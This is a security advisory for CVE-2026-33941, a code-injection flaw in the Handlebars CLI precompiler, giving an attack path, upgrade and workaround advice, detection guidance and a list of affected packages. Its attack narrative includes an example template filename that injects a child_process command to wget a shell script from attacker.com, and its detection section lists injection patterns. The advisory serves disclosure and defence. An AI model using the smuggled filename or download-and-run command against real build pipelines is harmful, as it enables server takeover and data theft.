CVE-2026-33941
High · 8.2CVSS
8.2
EPSS
0.2%
Published
Mar 27, 2026
CISA due date
—
Cloudanix analysis
A flaw in a common software development tool could allow an attacker to inject malicious code into an application during its build process, potentially leading to a full server compromise or theft of sensitive data.
- Exploitation
- Requires User Interaction
- Attacker needs
- Low Privilege
- Complexity
- Low
- Impact
- Remote Code Execution
- Component
- Library
- Class
- XSS
- Remediation
- Upgrade
- Effort
- Medium
- Patch risk
- Low
What it actually does
The Handlebars CLI precompiler is vulnerable to code injection. It improperly concatenates user-controlled input, such as template filenames or CLI options, directly into the generated JavaScript output without sanitization. This allows an attacker to inject arbitrary JavaScript code into precompiled templates. When these templates are loaded by an application, the injected code executes with the privileges of that application, leading to Remote Code Execution (RCE) in a Node.js environment or Cross-Site Scripting (XSS) in a browser environment.
Why it matters to the business
An attacker exploiting this vulnerability can inject malicious code into a company's applications during the software build process. This can lead to a complete compromise of application servers, theft of sensitive customer or corporate data, website defacement, or attacks against end-users. Because the compromise is embedded in the application code at build time, it can be difficult to detect and may persist across deployments, causing significant reputational damage, loss of customer trust, and potential regulatory fines.
How an attack unfolds
An attacker with the ability to influence the build process, such as a developer with commit access, crafts a template file with a malicious name (e.g., `exploit.hbs');require('child_process').exec('wget attacker.com/shell.sh -O /tmp/shell.sh');(//`). They commit this file to a source code repository that is part of an automated CI/CD pipeline. When the pipeline runs the Handlebars precompiler, the tool concatenates the malicious filename into the output JavaScript bundle. This bundle, now containing the attacker's payload, is deployed to a production server. When the application loads the compromised template, the injected code executes, downloading and running a malicious script that gives the attacker a reverse shell and full control over the server.
How to fix it
The primary remediation is to upgrade the `handlebars` package to version 4.7.9 or later. If an immediate upgrade is not possible, apply the following workarounds: 1. Validate all CLI inputs before invoking the precompiler. Reject filenames and option values that contain characters with special meaning in JavaScript strings (e.g., `"`, `'`, `;`, `\`, ` `). 2. In automated pipelines, use a fixed, trusted namespace string passed via a configuration file rather than from command-line arguments. 3. Run the precompiler in a sandboxed environment (e.g., a minimal container with no network access and read-only filesystem access) to limit the impact of successful exploitation.
How to confirm the fix worked
To confirm remediation, inspect your project's dependency manifest (e.g., `package-lock.json`, `yarn.lock`) to ensure the resolved version of the `handlebars` package is 4.7.9 or higher. To detect potential exposure, audit source code repositories for template filenames containing suspicious characters like single quotes, double quotes, backticks, or semicolons. Review CI/CD pipeline configurations to verify how the `handlebars` CLI is invoked and ensure that all inputs are trusted and sanitized.
Typical attack path
- An attacker gains the ability to control filenames or CLI arguments passed to the Handlebars precompiler, typically by committing a maliciously named file to a source code repository.
- An automated CI/CD pipeline or a developer runs the `handlebars` CLI tool on the project containing the malicious input.
- The precompiler insecurely concatenates the malicious string into the output JavaScript bundle, embedding the attacker's payload.
- The compromised JavaScript bundle is deployed to a production or staging environment.
- When the application loads the precompiled template, the malicious JavaScript code executes on the server (Node.js) or in the user's browser.
- The attacker achieves their objective, such as executing arbitrary commands, stealing data, or launching further attacks.
How to detect it
Detection of past exploitation requires auditing source code, build logs, and build artifacts. Search git history and file systems for template files (`.hbs`) with names containing suspicious characters such as quotes, semicolons, or backslashes. Review CI/CD build logs for unusual command-line arguments passed to the `handlebars` executable. Inspect the generated JavaScript bundles for injected code that does not correspond to the original template content. On potentially compromised systems, correlate application deployment times with signs of post-exploitation activity, such as unexpected network connections, unauthorized processes, or anomalous file modifications.
- ');
- ");
- `);
- require('
- require("
- require(`
- child_process
- process.env
What your security team should do
- Immediately identify all projects using the Handlebars CLI precompiler and prioritize upgrading the `handlebars` package to version 4.7.9 or newer.
- Scan all source code repositories and build logs for filenames or CLI arguments containing suspicious character sequences (e.g., `');`, `");`, `require(`) to identify potential exploitation attempts.
- Review and harden CI/CD build scripts to ensure that any inputs passed to build tools like the Handlebars CLI are from trusted sources or are strictly sanitized.
- If an upgrade is not immediately feasible, mandate the use of sandboxed build environments for all projects using the vulnerable precompiler.
The record
Handlebars provides the power necessary to let users build semantic templates. In versions 4.0.0 through 4.7.8, the Handlebars CLI precompiler (`bin/handlebars` / `lib/precompiler.js`) concatenates user-controlled strings — template file names and several CLI options — directly into the JavaScript it emits, without any escaping or sanitization. An attacker who can influence template filenames or CLI arguments can inject arbitrary JavaScript that executes when the generated bundle is loaded in Node.js or a browser. Version 4.7.9 fixes the issue. Some workarounds are available. First, validate all CLI inputs before invoking the precompiler. Reject filenames and option values that contain characters with JavaScript string-escaping significance (`"`, `'`, `;`, etc.). Second, use a fixed, trusted namespace string passed via a configuration file rather than command-line arguments in automated pipelines. Third, run the precompiler in a sandboxed environment (container with no write access to sensitive paths) to limit the impact of successful exploitation. Fourth, audit template filenames in any repository or package that is consumed by an automated build pipeline.
Affected packages
| Ecosystem | Package | Introduced | Fixed |
|---|---|---|---|
| npm | handlebars | 4.0.0 | 4.7.9 |
| Chainguard | kibana-8.17 | 0 | 8.17.10-r15 |
| Chainguard | kibana-8.17-bitnami | 0 | 8.17.10-r15 |
| Chainguard | kibana-8.17-iamguarded | 0 | 8.17.10-r15 |
| Chainguard | kibana-8.18 | 0 | 8.18.8-r11 |
| Chainguard | kibana-8.18-bitnami | 0 | 8.18.8-r11 |
| Chainguard | kibana-8.18-iamguarded | 0 | 8.18.8-r11 |
| Chainguard | kibana-8.19 | 0 | 8.19.13-r5 |
| Chainguard | kibana-8.19-bitnami | 0 | 8.19.13-r5 |
| Chainguard | kibana-8.19-iamguarded | 0 | 8.19.13-r5 |
| Chainguard | kibana-9.0 | 0 | 9.0.8-r16 |
| Chainguard | kibana-9.0-bitnami | 0 | 9.0.8-r16 |
| Chainguard | kibana-9.0-iamguarded | 0 | 9.0.8-r16 |
| Chainguard | kibana-9.1 | 0 | 9.1.10-r9 |
| Chainguard | kibana-9.1-iamguarded | 0 | 9.1.10-r9 |
| Chainguard | kibana-9.2 | 0 | 9.2.7-r2 |
| Chainguard | kibana-9.2-iamguarded | 0 | 9.2.7-r2 |
| Chainguard | kibana-9.3 | 0 | 9.3.2-r2 |
| Chainguard | kibana-9.3-iamguarded | 0 | 9.3.2-r2 |
| Chainguard | lerna | 0 | 9.0.7-r2 |
| Chainguard | opensearch-dashboards-2 | 0 | 2.19.5-r5 |
| Chainguard | opensearch-dashboards-2-fips | 0 | 2.19.5-r4 |
| Chainguard | opensearch-dashboards-3 | 0 | 3.5.0-r12 |
| Chainguard | opensearch-dashboards-3-fips | 0 | 3.5.0-r9 |
| Chainguard | pelias-api | 0 | 7.6.0-r5 |
| Chainguard | prism | 0 | 5.14.3-r13 |
| Chainguard | rancher-api-ui | 0 | 1.2.3-r8 |
| Chainguard | tileserver-gl-fips | 0 | 5.5.0-r11 |
| Chainguard | wazuh-dashboard | 0 | 4.14.4-r1 |
| Wolfi | lerna | 0 | 9.0.7-r2 |
| Wolfi | opensearch-dashboards-2 | 0 | 2.19.5-r5 |
| Wolfi | opensearch-dashboards-3 | 0 | 3.5.0-r12 |
| Wolfi | prism | 0 | 5.14.3-r13 |
| Wolfi | rancher-api-ui | 0 | 1.2.3-r8 |
Related vulnerabilities
- GHSA-xjpj-3mr7-gcpf Handlebars.js has JavaScript Injection in CLI Precompiler via Unescaped Names and Options Same vulnerability
- GHSA-7rx3-28cr-v5wh Handlebars.js has a Prototype Method Access Control Gap via Missing __lookupSetter__… Also affects handlebars
- GHSA-442j-39wm-28r2 Handlebars.js has a Property Access Validation Bypass in container.lookup Also affects handlebars
- CVE-2026-33940 Handlebars provides the power necessary to let users build semantic templates. Also affects handlebars
- CVE-2026-33939 Handlebars provides the power necessary to let users build semantic templates. Also affects handlebars
- CVE-2026-33937 Handlebars provides the power necessary to let users build semantic templates. Also affects handlebars
- CVE-2026-33938 Handlebars provides the power necessary to let users build semantic templates. Also affects handlebars
- CVE-2026-33916 Handlebars provides the power necessary to let users build semantic templates. Also affects handlebars